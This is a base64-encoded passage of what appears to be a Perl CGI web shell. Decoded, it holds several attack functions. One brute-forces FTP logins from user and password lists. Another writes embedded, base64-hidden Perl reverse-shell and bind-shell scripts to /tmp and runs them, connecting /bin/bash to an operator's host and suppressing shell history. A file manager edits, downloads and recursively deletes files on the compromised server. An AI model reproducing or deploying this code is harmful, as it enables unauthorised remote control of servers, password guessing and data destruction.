LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pKTsNCgkJCQkJfQ0KCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCSRyZXN1bHQgLj0gIlxuPGJyPj09PT09PT09PT0+Pj4+Pj4+Pj4+IEZpbmlzaGVkIDw8PDw8PDw8PDw9PT09PT09PT09PGJyPlxuIjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCYWNrQmluZEZvcm0NCnsNCglyZXR1cm4gPDxFTkQ7DQoJPGJyPjxicj4NCg0KCTx0YWJsZT4NCgk8dHI+DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoJPHRkPkJhY2tDb25uZWN0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4NCgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPg0KDQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQ0KCTxicj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwvYT4NCgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPg0KDQoJPGJyPjxicj4NCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4NCg0KCTx0ZD4gUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iMTQxMiIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij4NCg0KCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9IlRISUVVR0lBQlVPTiI+PC90ZD4NCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQ0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgTUlNRTo6QmFzZTY0Ow0KCXVzZSBTb2NrZXQ7CQ0KCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DaVJUYUdWc2JBazlJQ0l2WW1sdUwySmhjMmdpT3cwS0pFRlNSME05UUVGU1IxWTdEUXAxYzJVZ1UyOWphMlYwT3cwS2RYTmxJRVpwYkdWSVlXNWtiR1U3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLU0J2Y2lCa2FXVWdjSEpwYm5RZ0lsc3RYU0JWYm1GaWJHVWdkRzhnVW1WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTI5dWJtVmpkQ2hUVDBOTFJWUXNJSE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtTa2diM0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW14bElIUnZJRU52Ym01bFkzUWdTRzl6ZEZ4dUlqc05DbkJ5YVc1MElDSkRiMjV1WldOMFpXUWhJanNOQ2xOUFEwdEZWQzArWVhWMGIyWnNkWE5vS0NrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0krSmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJajRtVTA5RFMwVlVJaWs3RFFwd2NtbHVkQ0FpTFMwOVBTQkRiMjV1WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ1hHNWNiaUk3RFFwemVYTjBaVzBvSW5WdWMyVjBJRWhKVTFSR1NVeEZPeUIxYm5ObGRDQlRRVlpGU0VsVFZDQTdaV05vYnlBbld5dGRJRk41YzNSbGJXbHVabTg2SUNjN0lIVnVZVzFsSUMxaE8yVmphRzg3WldOb2J5QW5XeXRkSUZWelpYSnBibVp2T2lBbk95QnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNuazZJQ2M3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQ2RiSzEwZ1UyaGxiR3c2SUNjN0pGTm9aV3hzSWlrN0RRcGpiRzl6WlNCVFQwTkxSVlE3IjsNCgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOw0KDQoJJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsNCgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7DQoJaWYoJENsaWVudFBvcnQgZXEgMCkNCgl7DQoJCXJldHVybiAmQmFja0JpbmRGb3JtOw0KCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7DQoJCWlmKC13ICIvdG1wLyIpDQoJCXsNCgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJDQoJCX1lbHNlDQoJCXsNCgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7DQoJCX0NCgkJb3BlbihGSUxFLCAiPiRGaWxlIik7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXN5c3RlbSgicGVybCBiYWNrY29ubmVjdC5wbCAkQ2xpZW50QWRkciAkQ2xpZW50UG9ydCIpOw0KCQl1bmxpbmsoJEZpbGUpOw0KCQlleGl0IDA7DQoJfWVsc2UNCgl7DQoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsNCgkJaWYoLXcgIi90bXAiKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUm1EaXIoJCkgDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KICAgIGlmKG9wZW5kaXIoRElSLCRkaXIpKQ0KCXsNCgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCXsNCgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkNCgkJCXsNCgkJCQkkZmlsZT0gJGRpci4kUGF0aFNlcC4kZmlsZTsNCgkJCQlpZigtZCAkZmlsZSkNCgkJCQl7DQoJCQkJCSZSbURpcigkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXVubGluaygkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKERJUik7DQoJfQ0KCWlmKCFybWRpcigkZGlyKSkNCgl7DQoJCQ0KCX0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJcmV0dXJuICI/Pz8iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCgkJfQ0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgUGFyZW50Rm9sZGVyKCQpDQp7DQoJbXkgJHBhdGggPSBzaGlmdDsNCglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOw0KCXJldHVybiAkcGF0aDsNCn0NCnN1YiBGaWxlUGVybXMoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICR1ciA9ICItIjsNCglteSAkdXcgPSAiLSI7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9DQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQ0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3Ow0KCQl9ZWxzZQ0KCQl7DQoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQl9DQoJfQ0KCXJldHVybiAiMDAwMCI7DQp9DQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSkNCgl7DQoJCXJldHVybiAtcyAkZmlsZTsNCgl9DQoJcmV0dXJuICIwIjsNCg0KfQ0Kc3ViIFBhcnNlRmlsZVNpemUoJCkNCnsNCglteSAkc2l6ZSA9IHNoaWZ0Ow0KCWlmKCRzaXplIDw9IDEwMjQpDQoJew0KCQlyZXR1cm4gJHNpemUuICIgQiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBLQiI7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIE1CIjsNCgkJfQ0KCX0NCn0NCnN1YiB0cmltKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBBZGRTbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBMaXN0RGlyDQp7DQoJbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsNCgkkcGF0aD1+IHMvXFxcXC9cXC9nOw0KCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOw0KCWlmKC1kICRwYXRoKQ0KCXsNCgkJbXkgQGZuYW1lID0gKCk7DQoJCW15IEBkbmFtZSA9ICgpOw0KCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpDQoJCXsNCgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQkJew0KCQkJCSRmPSRwYXRoLiRmaWxlOw0KCQkJCWlmKC1kICRmKQ0KCQkJCXsNCgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoRElSKTsNCgkJfQ0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7DQoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsNCgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPg0KDQoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5GaWxlIFNpemU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MTUwcHg7Jz5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOw0KCQlteSAkc3R5bGU9ImxpbmUiOw0KCQlteSAkaT0wOw0KCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZCA9ICZ0cmltKCRkKTsNCgkJCSRkaXJuYW1lPSRkOw0KCQkJaWYoJGQgZXEgIi4uIikgDQoJCQl7DQoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aDsNCgkJCX0NCgkJCWVsc2UgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aC4kZDsNCgkJCX0NCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz4NCg0KCQkJPHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPjxhICBocmVmPSc/YT1ndWkmZD0iLiRkLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkkaSsrOw0KCQl9DQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t